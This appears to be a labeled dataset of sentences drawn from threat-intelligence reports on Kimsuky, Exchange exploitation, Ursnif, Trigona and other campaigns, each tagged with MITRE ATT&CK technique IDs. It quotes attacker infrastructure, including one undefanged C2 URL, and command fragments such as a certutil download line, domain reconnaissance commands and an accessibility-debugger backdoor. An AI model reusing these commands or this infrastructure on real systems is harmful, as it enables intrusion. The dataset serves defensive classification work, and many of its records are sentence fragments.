nknews.org.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "The article contains visible edits to give the impression of a genuine draft article, aligning with Kimsuky’s luring tactic.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "Google document The spoofed destination of the URL redirects the target to an attacker-created website that masquerades as a legitimate Google Docs site for requesting document access, such as https[://]drive-google[.]shanumedia[.]com/pdf/ul/ji78fghJHKtgfLKJIO/s2.php?menu=ZGFu[...]vbQ== The Base-64 encoded segment, that is, the value of the menu URL query parameter, resolves to the target’s email address.", "labels": ["T1027"], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "Phishing Email The fake login site, hosted at https[://]www.nknews[.]pro/ip/register/, features a login form with the standard web elements, such as Sign In, Sign Up, and Forgot Password?", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "Serial number: 00f342582c9a299acf2452aaf5115c5be0", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "Fake NK News login site https[://]www.nknews[.]pro/ip/register/login[.]php Website impersonating NK News: NK News credential theft endpoint https[://]staradvertiser.store/piece/ca[.]php ReconShark payload hosting endpoint https[://]staradvertiser.store/piece/r[.]php ReconShark C2 server endpoint 162.0.209[.]27 Website impersonating NK News, ReconShark C2 server: IP address 4150B40C00D8AB2E960AA059159149AF3F9ADA09 Malicious document (password-protected): SHA1 hash 7514FD9E5667FC5085373704FE2EA959258C7595 Malicious document: SHA1 hash 41E39162AE3A6370B1100BE2B35BB09E2CBE9782", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "However up to now, GTSC has seen other customers also experiencing the similar problem.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "However at this time, we would like NOT to release technical details to implement RCE yet.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "<%@Page", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Convert.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "http://206.188.196.77:8080/themes.aspx", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "[S]&cd&echo [E] \"cmd\" /c cd /d \"c:\\\\PerfLogs\"&certutil.exe -urlcache -split -f", "labels": ["T1059.003"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "[S]&cd&echo", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Unfortunately, during the response process, the above files no longer exist on the compromised system, possibly due to the hacker’s evidence deletion.", "labels": ["T1027"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "The cm.exe file that is dropped into the C:\\PerfLogs\\ folder is the standard Windows command line tool cmd.exe.", "labels": ["T1059.003"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Malware Analysis DLL information File name: Dll.dll Sha256: 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 DLL analysis GTSC analyzes a specific sample (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) to describe the behavior of the malicious code, other DLL samples have the similar tasks and behaviors, differing only in listener configuration.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Results returned from Run.m.i will be coverted to a base64 string.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "\" } Class m Method", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "This method is responsible for collecting system information.", "labels": ["T1082"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "- In Autodiscover at FrontEnd select tab URL Rewrite, select Request Blocking - Add string “.*autodiscover\\.json.*\\@.*Powershell.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Windows Command Shell Execution T1047 Windows Management Instrumentation Persistence T1505.003 Server Software Component: Web Shell Defense Evasion T1070.004 Indicator Removal on Host: File Deletion Defense Evasion T1036.005 Masquerading: Match Legitimate Name or Location Defense Evasion T1620 Reflective Code Loading Credential Access T1003.001 OS Credential Dumping:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "As authorities across multiple countries continue to implement sanctions and openly communicate current trends to the public, threat groups increasingly resort to rebranding or creating similar variants under different names to sidestep crackdowns and obfuscate their identities.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "Close inspection of host origins and prominent file similarities used in both TZW and GlobeImposter campaigns suggest that actors behind GlobeImposter are updating their payloads and obfuscating their infrastructure in a manner consistent with a rebrand effort.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "However, these are all part of the same umbrella malware family.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "For example, in 2017 GlobeImposter was distributed via the Necurs botnet.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "This is a known marker present across GlobeImposter variants.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "GlobeImposter shadow copy removal highlights.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "The interfaces and required steps are identical: GlobeImposter Victim Portal 2 from late 2022 onward.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "At the time of writing, both victim portals remain active.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion linux[.]3bcd0a[.]com Vhosts on GlobeImposter victim portal.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "Conclusion Based on our analysis, the TZW ransomware recently documented by AhnLab is yet another example of the threat actors behind GlobeImposter pivoting their TTPs alongside a rebrand, including a new but related Onion address.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "While the threat actors attempted to masquerade the activity as a standard ransomware campaign, the unrecoverable actions show destruction and disruption were the ultimate goals of the operation.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "MERCURY likely exploited known vulnerabilities in unpatched applications for initial access before handing off access to DEV-1084 to perform extensive reconnaissance and discovery, establish persistence, and move laterally throughout the network, oftentimes waiting weeks and sometimes months before progressing to the next stage.", "labels": ["T1190"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft assesses with high-confidence that the vatacloud[.]com domain is controlled by MERCURY operators.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft assesses that MERCURY gains access to the targets through remote exploitation of an unpatched internet-facing device.", "labels": ["T1190"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "and it is created with a long complex password.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "In addition, during installation, an Azure AD account called the Azure AD Connector Account is also created.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Investigating this sign-in showed that the threat actors were able to access the account on the first attempt without any guessing or modification of the password, indicating that the actors possessed the password for this account.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Cloud destructive impact On the day of the ransomware attack, the threat actors executed multiple actions in the cloud using two privileged accounts.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "For the second account, which also had Global Administrator permissions, the threat actors leveraged RDP for access into the account.", "labels": ["T1021.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Even though this account had MFA in place, the threat actors accessed it through RDP, which is an open session that evades MFA blocking their activities.", "labels": ["T1021.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Threat actors granting access to send emails on behalf of the target’s account Emails were then created and sent both internally and externally.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Detections Microsoft 365 Defender", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Cloud-based machine learning protections block most new and unknown threats.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Mercury actor activity detected Ransomware-linked emerging threat actor DEV-1084 detected Reducing the attack surface Microsoft Defender for Endpoint customers can turn on the following attack surface reduction rule to block or audit some observed activity associated with this threat: Block executable files from running unless they meet a prevalence, age, or trusted list criterion.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "ResultStatus =~ \"success\" | extend UserId = tostring(RawEventData.UserId)", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft Defender Threat Intelligence Community members and customers can find summary information and all IOCs from this blog post in the linked Microsoft Defender Threat Intelligence article.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "It seems, that the file must be in an on PATH folder, to get directly opened.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "So if you write the name of a zip file in the bar, it will open the default browser and go to that page.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "an opened WebDAV folder As it can be seen in the screenshot, the URL changes a bit.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Bypassing execution blocking After playing with some file extensions, it turns out that this protection is not bulletproof.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Note: Those files will still get executed, if the user clicks on run!", "labels": ["T1204.002"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Some Copy&Pasted code later a minimalistic and very simple approach to execute a binary was ready.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "import java.io.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "However, if a calc.exe is in the same folder, it will execute that binary, thanks Windows Search Path.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": ", I still found this a little bit surprising and wanted to share.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "To start the loading chain after installation, it creates a one-time scheduled task.", "labels": ["T1053.005"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "For unknown reasons, the command to retrieve specific files from portable devices was removed.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Screenshots are also taken at a configurable interval; the default is once every 30 seconds.", "labels": ["T1113"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The shellcode is stored in the registry, under one of the following keys: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Classic\\ HKCU\\Software\\Microsoft\\OneDrive\\Update\\ HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\HttpsSoftware\\Microsoft\\Internet Explorer\\Zone\\ (two subkeys as one, likely a coding error)", "labels": ["T1112"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Shell commands Dolphin can execute shell commands; this is done via the popen API and their output is retrieved.", "labels": ["T1059.003", "T1106"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The following browsers are supported: Chrome Edge Internet Explorer In version 2.2, this capability was removed, presumably to avoid detection.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "First, it enables access to Gmail via the IMAP protocol by sending an HTTP POST request to: https://mail.google.com/mail/u/0/?ik=&at=&view=up&act=prefs", "labels": ["T1071.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The backdoor also maintains a list of files in the form of MD5 hashes, in order to avoid uploading the same file multiple times.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "An example of a decrypted configuration is shown in Figure 3.", "labels": ["T1140"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Figure 4 summarizes the versions seen; a more detailed description of the version changes is provided below.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Previously, it was just for removable drives; fixed drives were disabled by default and the code used for accessing portable devices was buggy and broken. December 2021 – version 2.2 Changes introduced in version 2.2 focused mainly on detection evasion.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "January 2022 – version 3.0", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The base64-encoded strings were plaintext again in this version.", "labels": ["T1027"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "UYODolphin backdoor version 3.0 (x86) 2C6CC71B7E7E4B28C2C176B504BC5BDB687C4D41N/AWin64/Agent.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Credential AccessT1555.003Credentials from Password Stores: Credentials from Web BrowsersDolphin can obtain saved passwords from browsers.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "T1518.001Software Discovery: Security Software DiscoveryDolphin obtains a list of installed security software.", "labels": ["T1518.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "T1016System Network Configuration DiscoveryDolphin obtains the device’s local and external IP address.", "labels": ["T1016"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "T1016.001System Network Configuration Discovery: Internet Connection DiscoveryDolphin checks internet connectivity.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "T1119Automated CollectionDolphin periodically collects files with certain extensions from drives.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "T1567.002Exfiltration Over Web Service: Exfiltration to Cloud StorageDolphin exfiltrates data to Google Drive.", "labels": ["T1041"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "30 Nov 2022 - 11:30AM", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "By: Daniel Lunghi March 01, 2023Read time: ( words) Save to Folio Subscribe Iron Tiger is an advanced persistent threat (APT) that has been focused primarily on cyberespionage for more than a decade.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We strongly advise organizations and users in the targeted industries to reinforce their security measures to defend their systems and stored information from this ongoing campaign.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Oldest Linux sample gets uploaded to Virus Total We observed that the attacker registered the oldest domain name one month before starting the C&C configuration then waited one more month before compiling the malicious sample linked to that domain name.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The rc.bin file is a Shikata Ga Nai encoded shellcode that decompresses and loads the first stage in memory.", "labels": ["T1027", "T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We identified the executables and sideloaded files as follows:", "labels": ["T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This results in six bytes — four for the random number, two for 0x2191 — and encodes the result further with Base32 algorithm using the alphabet “abcdefghijklmnopqrstuvwxyz012345”.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Looking at Figure 2, the contacted domain name is after \"TXT\"; only the first four letters change as the rest of the encoded series is always the same.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "If the C&C reply matches the format expected by the malware, it launches multiple threads that handle further commands and sends information about the infected machine.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We continue monitoring this group and malware family for updates on possible variations of C&C communication protocols being abused.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We analyzed them and concluded that the files were a SysUpdate version made for the Linux platform.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Some parameters can be passed to the binary (note that “Boolean” refers to Boolean data that is sent to the C&C):", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Then, the malware retrieves information on the compromised computer and sends it to the C&C. The following information is sent to the C&C, encrypted with a hardcoded key and DES CBC algorithm: GUID Host name Username Local IP address and port used to send the request Current PID Kernel version and machine architecture Current file path Boolean (0 if it was launched with exactly one parameter, 1 otherwise)", "labels": ["T1041", "T1573.001"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Certificate compromise Another interesting part of this campaign is the fact that some of the malicious files are signed with a certificate with the following signer: “Permyakov Ivan Yurievich IP”.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It appears that the threat actor managed to retrieve the private key allowing him to sign malicious code.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Using stolen certificates to sign malicious code is a common practice for this threat actor, as we already highlighted in 2015 and in all our recent investigations.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Infection vector We did not find an infection vector.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "But they also have other customers in industries such as gaming, IT, media, construction, and retail, apparently all located inside China.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This suggests that some chat application named “i Talk” might be repackaging components from the official Youdu client along with malicious executables.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It appears that a chat application was used as a lure to entice the victim into opening the malicious file.", "labels": ["T1204.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In general, the features were simple; the malware decrypts the saved passwords to a file named “passwords.txt”, and the cookies to a file named “cookies.txt”.", "labels": ["T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It then copies the “Login Data” file to a temporary file “chromedb_tmp”, issues an SQL query to extract the URL, login, and password fields from the file, and then decrypts them and appends the result to the “passwords.txt” file.", "labels": ["T1140", "T1552.001"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We found two other samples from this stealer: One compilation date indicated an executable built in November 2020, and the other one in December 2021, although those dates could be tampered with.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We also attempted to notify the company of this incident through all their listed channels but have received no feedback.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Conclusion This investigation confirms that Iron Tiger regularly updates its tools to add new features and probably to ease their portability to other platforms, verifying the interest we found from this threat actor for Linux or Mac OS.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In 2022, we discussed a campaign targeting Taiwan and the Philippines that made use of HyperBro samples (detected by Trend Micro as Backdoor.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This was followed by the threat actors moving laterally throughout the environment using an admin account.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "It has an extensive past of code forks and evolutions that has lead to several active variants in the last 5 years including Dreambot, IAP, RM2, RM3 and most recently, LDR4.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The threat actor first ran some initial discovery on the host using built-in Windows utilities like ipconfig, systeminfo, net, and ping.", "labels": ["T1016", "T1082"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The Cobalt Strike server in this case was added to our feed on July 18, 2022, over 2 months before it was used in this case.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Execution Once the user had mounted the ISO and the LNK file was executed by the user, the complex execution flow started.", "labels": ["T1204.002"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "This script called a combination of QueueUserAPC, GetCurrentThreadId, OpenThread, and VirtualAlloc to perform process injection of shellcode stored in Base64.", "labels": ["T1027", "T1055", "T1106"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The event log Microsoft-Windows-Bits-Client%254Operational.evtx corroborated this activity: The activity following this event demonstrated a clear distinction of the threat actor performing discovery manually.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Persistence Once the foothold had been achieved, after execution of Ursnif on the beachhead host, persistence was achieved by creating a ‘Run’ key named ManagerText which was configured to execute a LNK file which executed a PowerShell script.", "labels": ["T1547.001"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "\"net view >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "\"net config workstation >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "\"nltest /domain_trusts /all_trusts >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "net user ", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The threat actor also used a batch script to collect a list of all computer objects on the domain using C:\\Windows\\system32\\cmd.exe /C adcomp.bat which contained the PowerShell command: powershell Get-ADComputer -Filter * -Properties Name,Operatingsystem, OperatingSystemVersion, OperatingSystemServicePack,IPv4Address >> log2.txt During the final actions taken by the threat actors before eviction, after completing RDP connections to various hosts on the network, the threat actors checked running processes on the accessed hosts via taskmanager, which were started via their interactive RDP session as noted by the /4 command line argument.", "labels": ["T1021.001", "T1057", "T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Remote Desktop Protocol - T1021.001 Windows Management Instrumentation - T1047 Domain Account - T1087.002 Process Injection - T1055 Asynchronous Procedure Call - T1055.004 Registry Run Keys / Startup Folder - T1547.001 Remote Access Software - T1219 Web Protocols - T1071.001 Lateral Tool Transfer - T1570 Exfiltration Over C2 Channel - T1041 Internal case #17386", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "However, it’s unlikely OneNote has been completely abandoned and it remains probable that threat actors will continue to iterate on the technique to extend its shelf life.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"} {"sentence": "The CMD file contains commands which use certutil (renamed here as slaughterhouse.exe) to decode Qakbot’s DLL (brainstorms.sql).", "labels": ["T1059.003", "T1140"], "doc_title": "Qakbot Returns to ISO Delivery For Now"} {"sentence": "Victims can be lured into clicking executable content including binaries, scripts or shortcut files masquerading as benign filetypes such as PDFs or folders.", "labels": ["T1204.002"], "doc_title": "Qakbot Returns to ISO Delivery For Now"} {"sentence": "Train users to identify and report potentially malicious content using an Phishing and Security Awareness Training (PSAT) program.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"} {"sentence": "Affected organizations are in the manufacturing, finance, construction, agriculture, marketing and high technology industries.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Malware samples were passed to BleepingComputer, which in turn published a blog post on the ransomware on Nov. 29, 2022.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "One key executes the ransomware binary whenever the user logs in, ensuring that the encryption process would resume upon reboot.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The contact email shown below in Figure 2 is phandaledr@onionmail[.]org.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "We also identified two new Trigona ransom notes in January 2023 and two in February 2023.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Trigona ransomware has been linked to compromises impacting multiple organizations worldwide, in sectors including manufacturing, finance, construction, agriculture, marketing and high technology.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "We identified that 45.227.253[.]99 hosted a web server between Dec. 6, 2022, and Jan. 27, 2023.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "On Feb. 13, 2023, 45.227.253[.]106 started hosting a web server with the HTML title Trigona Leaks that was active until March 3, 2023.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "As shown in Figure 3, each post contained the following information: A description of the company The victim’s ZoomInfo page A description of the stolen data Links to screenshots of example files A countdown timer A button to bid for the data.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Security researchers at Arete Incident Response recently observed Trigona leveraging BlackCat’s reputation and data leak site to pressure and extort victims.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "It’s unclear whether Victim 1 was impacted by Trigona.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Unit 42 assesses with high confidence that Victim 3 was impacted by Trigona.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The countdown timers of over 300 days for Victims 1, 2 and 4 were well beyond the usual timeframe that we have observed in incident response cases where attackers demand payment, which is between two and four weeks.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The leak site is no longer available on the surface web Figure 4.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Both ransomware families also drop ransom notes in HTML Application format, named how_to_decrypt.hta.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "There are also similarities in the ransom message, including: Their claim that all “documents, databases, backups, and other critical” files and data were encrypted AES as their choice of cryptographic algorithm Their statement that “the price depends on how soon you will contact us” Tools and Techniques Unit 42 has seen evidence of malicious activity associated with Trigona originating from a compromised Windows 2003 server, followed by the threat operators executing NetScan for internal reconnaissance.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "42 researchers have observed that cleanup scripts from other threat actors are usually smaller and more specific to the tools used by that actor.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The tool is also password protected, which adds an extra layer of complexity when ascertaining the program’s functionality.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Upon execution, the batch file makes the following changes to the system: Disables the User Account Control (UAC) and sets cmd.exe as a debugger for HelpPane.exe, utilman.exe, Magnify.exe and sethc.exe.", "labels": ["T1059.003", "T1548.002"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "TA0005 Defense Evasion T1027.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "This lack of security community awareness allows Trigona to discreetly attack victims while other higher-profile ransomware operations dominate the news headlines.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1140], Match Legitimate Name or Location", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1036.005], Disable Windows Event Logging", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1562.002], Obfuscated Files or Information [T1027], Clear Windows Event Logs", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1016],", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "System Information Discovery", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1082], Network Service Discovery [T1046], Permission Groups Discovery", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1082], Network Service Discovery [T1046], Permission Groups Discovery [T1069] Next-Generation Firewalls Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set 